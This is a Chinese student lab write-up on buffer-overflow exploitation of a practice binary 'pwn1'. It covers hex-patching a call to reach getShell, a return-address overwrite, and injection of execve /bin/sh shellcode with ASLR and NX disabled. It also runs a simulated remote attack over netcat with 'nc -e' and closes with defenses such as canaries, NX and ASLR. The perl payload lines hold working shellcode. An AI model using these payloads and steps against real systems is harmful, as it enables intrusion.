《网络对抗技术》Exp1 逆向破解实验
1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
- 三个实践内容如下:
2 基础知识点
1.反汇编指令 objdump -d xxx | more
-d表示反汇编,xxx为可执行文件,|为管道符,more为分页指令
2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
3.掌握反汇编与十六进制编程器
反汇编指令
objdump -d filename
objdump(object dump) 项目导出
-d(disassemble) 反汇编
filename 反汇编的可执行文件
如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
- 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
- 输入:%!xxd将显示模式切换为16进制模式;
- 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。
3 直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
步骤一:可执行文件反汇编并计算
objdump -d pwn1 | more
"call 8048491 "是汇编指令
指令将调用位于地址8048491处的foo函数;
其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,e8即挑战,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491,就是foo的内存地址
main函数调用foo,对应机器指令为“ e8 d7ffffff”,
我们的目标是它调用getShell,将修改“d7ffffff”为,"getShell-80484ba"对应的补码。
用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
步骤二:修改可执行文件
cp pwn1 pwn2 //复制pwn1得到pwn2 vim pwn2 //进入vim编辑pwn2 以下操作在vim中操作(此时为乱码) 1.按下ESC 2.输入:%!xxd,将显示模式切换为16进制模式 3.输入/d7 //查找需要修改的地方(如果搜e8 d7注意要有空格,否则会搜索不到)可以多查找几次,以防有重复字段,一般关键词前后十个字节一致,就是查找目标值 4.按下i,插入模式,将d7改为c3 5.按下ESC,输入:%!xxd -r //转换16进制为原格式,这一步一定要做,否则在反编译时会提示格式错误 6.输入:wq,保存并退出 7.objdump -d pwn2 | more //对比确认
反编译验证一下:
步骤三:运行一下pwn1和pwn2:
- pwn1的功能是回显键盘输入;
- pwn2的功能是实现shell。
以上编辑操作也可以在图形化的16进制编程器中完成。
apt-get install wxhexeditor //安装wxhexedior
wxHexEditor //注意大小写,否则会显示command not found
4 通过构造输入参数,造成BOF攻击,改变程序执行流
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
步骤一:反汇编,了解程序的基本功能
原理:foo函数有漏洞:foo函数中给输入的字符串预留了28个字节的空间
在正常执行的情况下,call调用foo,同时在堆栈上压上返回地址值:80484ba
我们利用缓冲区溢出覆盖返回地址,使得程序转向我们预期的getshell,运行getshell
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp) 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
步骤二:确认输入字符串哪几个字符会覆盖到返回地址
gdb pwn1 //如果没有安装gdb,则输入命令apt install gdb 以下内容为进入gdb调试器 r //r 表示运行(run) 输入测试 //不超过28个字节,则正常回显输出输入字符 //超过28个字节,则覆盖EIP info r //info 表示显示,r为寄存器(register),寄存器检查
步骤三:覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,getshell函数的地址为: 0x0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
gdb pwn1 //以下操作在gdb中 break *0x804849d info break //查看地址 r //运行 info r //查看eip寄存器地址
对比之前 ==eip 0x34333231 0x34333231== ,正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。
步骤四:构造输入字符串
由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为 \x7d\x84\x04\x08
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input //由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。 xxd input //使用16进制查看指令xxd查看input文件的内容是否如预期 (cat input; cat) | ./pwn1 //将input的输入,通过管道符“|”,作为pwn1的输入
关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
补充:理解函数调用和堆栈
5 注入Shellcode并执行
步骤一:准备一段Shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
我们需要确定shellcode放哪,shellcode可能在EIP前或是EIP后,这取决于操作系统,此次实验放在EIP后面。
步骤二:安装execstack
execstack需要我们另外安装,在网络上的教程中,最终会出现 无法定位软件包 execstack 提示。
因此,我们使用老师给的压缩包prelink_0.0.20130503.orig.tar,步骤如下:
1 //把prelink_0.0.20130503.orig.tar放到kali虚拟机中 2 //在虚拟机中解压缩 3 //在解压缩文件中打开终端 4 sudo apt-get install libelf-dev 5 ./configure 6 make 7 sudo make install
步骤三:准备工作
堆栈可执行-->shellcode放在堆栈上,正常是不可执行的。
关闭地址随机化,目的:调试-->第1、2次调试中使用堆栈地址不变,一般堆栈随机化,防范多次调试。
关闭AL8R
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space sudo -s //否则权限不够 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,2为开启,0为关闭 more /proc/sys/kernel/randomize_va_space
步骤四:构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
失败案例(坑)
最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
没有回车符是为了让程序停在gets获取字符串的函数前,相当于输入了字符没有按回车键,否则程序执行了gets就直接运行puts函数,就直接运行完了,没有机会停留在进程中让我们打开调试
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
再开另外一个终端,用gdb来调试pwn1这个进程。一定要另开一个终端!
建议打开root权限。
注意:查看esp寄存器,要根据自己的地址进行下面的操作!!!
ps -ef | grep pwn1 //找到pwn1的进程号是:5906,根据自己的结果进行调整pid号会变化 gdb //打开gdb调试器 //以下在gdb中进行 attach 5906 //绑定进程 //通过设置断点,来查看注入buf的内存地址 disassemble foo //断在这,这时注入的东西都大堆栈上了 //ret完,就跳到我们覆盖的retaddr那个地方了 break *0x080484ae //在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。一定要在另一个终端!!! c //继续 info r esp //查看esp寄存器,要根据自己的地址进行下面的操作!!! x/16x 0xffffd5cc //看到 01020304了,再往前找28字节 x/16x 0xffffd5b0 //看到0xc0319090了,再向前4个字节即可 x/16x 0xffffd5ac //从这开始就是我们的Shellcode c //继续 //可以看到这个返回地址占位也是对的 q //退出gdb
向前4个字节,是eip占四个字节,而eip后面紧跟nops,nops的十六进制为0x909090
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./pwn1
结果显然是失败了
查找失败原因:
//与上面步骤类似 //在一个终端中输入 (cat input_shellcode;cat) | ./pwn1 //在另一个终端中输入 ps -ef | grep pwn1 gdb //以下在gdb中进行 attach 端口号 //与上一次不同 info r //查看寄存器 x/16x 0xffffd5b0 //对应地址,看起来buf没问题 si //si是step instruction的简写,表示运行一条指令 //也跳转到我们的shellcode了,那我们就一步步执行看哪步错 //出错了
以下是正确操作:
结构为:anything+retaddr+nops+shellcode。
看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5d0
每个人的情况不一样,因根据自己的情况修改命令。
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode //不同的电脑运行情况不同,根据实际情况修改命令,如下图红框所示 xxd input_shellcode (cat input_shellcode;cat) | ./pwn1
结果:攻击成功!
注意:
以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
步骤五:结合nc模拟远程攻击
在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。
下面为在一台主机上进行:
主机1,模拟一个有漏洞的网络服务:
nc -l 127.0.0.1 -p 28234 -e ./pwn1 //-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入 //如果是两个虚拟机互联 ifconfig //查看ip地址,将127.0.0.1替换
主机2,连接主机1并发送攻击载荷:
(cat input_shellcode; cat) | nc 127.0.0.1 28234 //两个虚拟机互联则使用主机1的ip地址替换127.0.0.1 //然后输入shell指令,例如ls
两台主机上进行:
//主机1可以通过ifconfig进行查询IP地址 //主机一 nc -l -p 28234 -e ./pwn1 //主机二 (cat input_shellcode; cat) | nc 192.168.11.151 28234 //其中192.168.11.151为主机
遇到的问题:
在两台主机互联时,按照指令输入时,主机二一旦输入相应命令,主机一就会出现 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32974 ,在关闭虚拟机的防火墙后,仍存在这样的问题,关闭防火墙的命令为
sudo apt-get install ufw //安装 ufw disable //关闭防火墙
后来尝试:参考老师和同学的建议,在主机一的命令中隐去主机一的ip地址,解决了问题。隐去IP地址,能够避免主机存在多个IP地址,发送存在限制的问题
6 Bof攻击防御技术
步骤一:从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
步骤二: 注入入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
execstack -s pwn1 //把堆栈设置为可执行 execstack -q pwn1 //查询堆栈状态 //此时我们的攻击可以执行,如上实验 excstack -c pwn1 //把堆栈设置为不可执行 execstack -q pwn1 //查询堆栈状态 //此时我们的攻击不可执行了 //以下测试攻击 perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./pwn1
为不影响第三步结果,因此要再次 execstack -s pwn1 ,将堆栈设为可执行。
步骤三:增加shellcode的构造难度
shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
在前面的工作里面,我们把地址随机化关闭了,才达到了攻击成功的目的。
/proc/sys/kernel/randomize_va_space 用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
echo "1" > /proc/sys/kernel/randomize_va_space //将mmap的基址,stack和vdso页面随机化 echo "2" > /proc/sys/kernel/randomize_va_space //在1的基础上增加栈(heap)的随机化。 more /proc/sys/kernel/randomize_va_space //查看 (cat input_shellcode;cat) | ./pwn1 //尝试攻击
从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
7 实验收获与感想
在整个实验过程中,我先学习视频,边学边做笔记,但是掌握程度不够,通过实际操作才能真正理解输入命令和命令里面数据的意义,也遇到了很多问题,比如在修改./pwn2时,忘记:%!xxd -r转回格式,导致无法运行,再通过vi中转回格式,仍会存在格式问题,只能在保存前进行格式转换,gdb没有安装,输入apt install gdb进行安装,也有遇到权限问题,通过sudo -s命令进入root模式,也在老师的指导下,安装了execstack,也在查看寄存器和地址的过程,理解缓冲区溢出的工作原理,函数的调用和堆栈的内存存储方式,将老师演示的存储图掌握。在我尝试两个主机中结合nc模拟远程攻击,遇到了问题 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32914 根据查询资料,两台主机测试ping指令都能ping通,没有连接问题,也在同一局域网下,猜测是虚拟机防火墙问题,经过尝试证实猜测错误,而后参考同学和老师建议,修改主机一中命令,隐去主机的IP地址,成功解决问题。在做实验时,我们需要更加谨慎,学习每个步骤和每个参数的含义。
8 什么是漏洞?漏洞有什么危害?
答:本次实验的漏洞是指在输入时,没有进行边界测试,导致输入溢出缓冲区,覆盖EIP,执行我们预期的代码。
而在课程的学习中,我们学习到的漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,存在技术缺陷或者程序问题,从而可以使攻击者能够在未授权的情况下访问或破坏系统,执行我们想要的程序。
危害:漏洞影响面逐步扩大,超高危漏洞比率大幅增加,漏洞修复率处于历史较低水平,威胁形势依然严峻。
1.程序的正常功能无法按照预期执行,对服务器的安全收到影响,执行任意系统命令,攻击者能直接控制目标服务器,危害的严重程度重大;
2.程序被非法控制和破坏,安装恶意软件,导致病毒传播;
3.可能会导致信息泄漏,身份信息没有隐私,重要信息泄露,造成损失,暴露服务器的信息,使攻击者能够通过泄露的信息入侵;
4.帐号密码泄漏,导致攻击者直接操作网站后台或数据库,操控一些可能有危害,邮件泄露会被垃圾邮件骚扰,被攻击者利用社会工程学手段获取更多信息,扩大危害。